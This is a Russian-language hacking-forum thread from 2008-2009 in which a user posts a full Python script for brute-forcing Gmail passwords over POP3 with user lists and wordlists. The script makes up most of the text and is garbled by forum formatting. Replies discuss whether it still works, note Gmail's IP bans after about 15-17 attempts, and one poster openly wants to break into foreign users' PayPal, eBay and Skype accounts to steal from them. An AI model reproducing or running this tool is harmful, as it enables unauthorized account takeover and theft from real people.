GMail Brute Force

Discussion in 'Уязвимости Mail-сервисов' started by Nexid, 11 Apr 2008.

  1. Nexid

    Nexid New Member

    Joined:
    9 Apr 2008
    Messages:
    1
    Likes Received:
    1
    Reputations:
    0
    Собственно,я давно искал подобный скрипт для Gmail и нашел наконец.Сам еще не тестил.

    Python Script

    PHP:
    #!usr/bin/python 

    #Gmail Pop3 Brute Forcer 

    #http://darkcode.ath.cx 
    #d3hydr8[at]gmail[dot]com 

    import threadingtimerandomsyspoplib 
    from copy import copy 

    if len(sys.argv) !=3
        print 
    "\n\t   d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0" 
        
    print "\t   --------------------------------------------------\n" 
        
    print "\t    Usage: ./gmailpopbrute.py <userlist> <wordlist>\n" 
        
    sys.exit(1
        
    server "pop.gmail.com" 
    success = [] 

    try: 
          
    users open(sys.argv[1], "r").readlines() 
    except(IOError): 
          print 
    "[-] Error: Check your userlist path\n" 
          
    sys.exit(1
      
    try: 
          
    words open(sys.argv[2], "r").readlines() 
    except(IOError): 
          print 
    "[-] Error: Check your wordlist path\n" 
          
    sys.exit(1
        
    try: 
        
    pop poplib.POP3_SSL(server995
        
    welcome pop.getwelcome() 
        
    pop.quit() 
    except (poplib.error_proto): 
        
    welcome "No Response" 
        
    pass 

    print "\n\t   d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0" 
    print "\t   --------------------------------------------------\n" 
    print "[+] Server:",server 
    print "[+] Port: 995" 
    print "[+] Users Loaded:",len(users
    print 
    "[+] Words Loaded:",len(words
    print 
    "[+] Server response:",welcome,"\n" 

    wordlist copy(words

    def reloader(): 
        for 
    word in wordlist
            
    words.append(word

    def getword(): 
        
    lock threading.Lock() 
        
    lock.acquire() 
        if 
    len(words) != 0
            
    value random.sample(words,  1
            
    words.remove(value[0])    
        else: 
            print 
    "\n[-] Reloading Wordlist - Changing User\n" 
            
    reloader() 
            
    value random.sample(words,  1
            
    users.remove(users[0]) 
            
        
    lock.release() 
        if 
    len(users) ==1
            return 
    value[0][:-1], users[0
        else: 
            return 
    value[0][:-1], users[0][:-1
            
    class 
    Worker(threading.Thread): 
        
        
    def run(self): 
            
    valueuser getword() 
            
            try: 
                print 
    "-"*30 
                
    print "[+] User:",user,"Password:",value 
                pop 
    poplib.POP3_SSL(server995
                
    pop.user(user
                
    pop.pass_(value
                print 
    "\t\t\n\nLogin successful:",uservalue 
                
    print "\t\tMail:",pop.stat()[0],"emails" 
                
    print "\t\tSize:",pop.stat()[1],"bytes\n\n" 
                
    success.append(user
                
    success.append(value
                
    success.append(pop.stat()[0]) 
                
    success.append(pop.stat()[1]) 
                
    pop.quit() 
            
    except (poplib.error_proto), msg
                
    #print "An error occurred:", msg 
                
    pass 

    for i in range(len(words)*len(users)): 
        
    work Worker() 
        
    work.start() 
        
    time.sleep(1
    if 
    len(success) >=1
        print 
    "\n\n[+] Login successful:",success[0], success[1
        print 
    "\t[+] Mail:",success[2],"emails" 
        
    print "\t[+] Size:",success[3],"bytes\n" 
    print "\n[-] Done\n"
     
    1 person likes this.
  2. NetSter

    NetSter Moderator

    Joined:
    30 Jul 2007
    Messages:
    810
    Likes Received:
    414
    Reputations:
    62
    как протестиш дай знать)
     
    _________________________
  3. Elvis000

    Elvis000 Патриот

    Joined:
    23 Apr 2007
    Messages:
    600
    Likes Received:
    339
    Reputations:
    148
    Прежде чем постить интересные вещи, наверное, сначала их нужно поискать на форуме, не так ли? https://forum.antichat.ru/thread54470.html
     
    #3 Elvis000, 12 Apr 2008
    Last edited: 12 Apr 2008
    1 person likes this.
  4. kung lao

    kung lao New Member

    Joined:
    27 Jan 2008
    Messages:
    25
    Likes Received:
    1
    Reputations:
    0
    это для брута гмаил.ком или .ру ? и как она вообще работает? может инструкции кто нить напишет?
     
  5. Elvis000

    Elvis000 Патриот

    Joined:
    23 Apr 2007
    Messages:
    600
    Likes Received:
    339
    Reputations:
    148
    gmail.com
     
  6. genadiez

    genadiez Member

    Joined:
    26 Dec 2008
    Messages:
    43
    Likes Received:
    16
    Reputations:
    0
    У gmail стоит функция бана по IP, при частом обращении по протоколу POP.
    (как раз который использует скрипт)
     
  7. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    имхо безполезно, там мин 8 знаков!
     
  8. mrTUZ

    mrTUZ Active Member

    Joined:
    17 May 2008
    Messages:
    63
    Likes Received:
    155
    Reputations:
    5
    Ну так что? Брут актуальный? Если да, то дайде знать.
     
    3 people like this.
  9. F1shka

    F1shka Elder - Старейшина

    Joined:
    10 Apr 2008
    Messages:
    173
    Likes Received:
    305
    Reputations:
    3
    12345678
    Как вариант
    :D
     
  10. Grinya11

    Grinya11 Member

    Joined:
    11 Feb 2009
    Messages:
    39
    Likes Received:
    7
    Reputations:
    0
    Не гмайла непускает много запросов через попу как и многин МАЙЛЫ щас... Думаю тема неактуальная! Хотя хотелось бы добраться до рабочего скрипта который воркает через хттп авторизацию.... ГМАЙЛ ЛЮДИ там буржуев море!!!>>> БУРЖУИ = (PAYPAL, ONLINE POKER (с лаве), SKYPE, EBAY, MYSPACE, itd) ТАМ можно в реале бы подпиздить че! Ладноу спасибоу
     
    5 people like this.
  11. genadiez

    genadiez Member

    Joined:
    26 Dec 2008
    Messages:
    43
    Likes Received:
    16
    Reputations:
    0
    Хотелось узнать у тех кто тестил указанный брут: какое количество запросов пропускает Gmail не баня POP. У меня получалось не более 15-17.
    К тому же Gmail банит еще и IP если число запросов очень велико, после чего по POP не пускает даже с рабочими логином и паролем!(((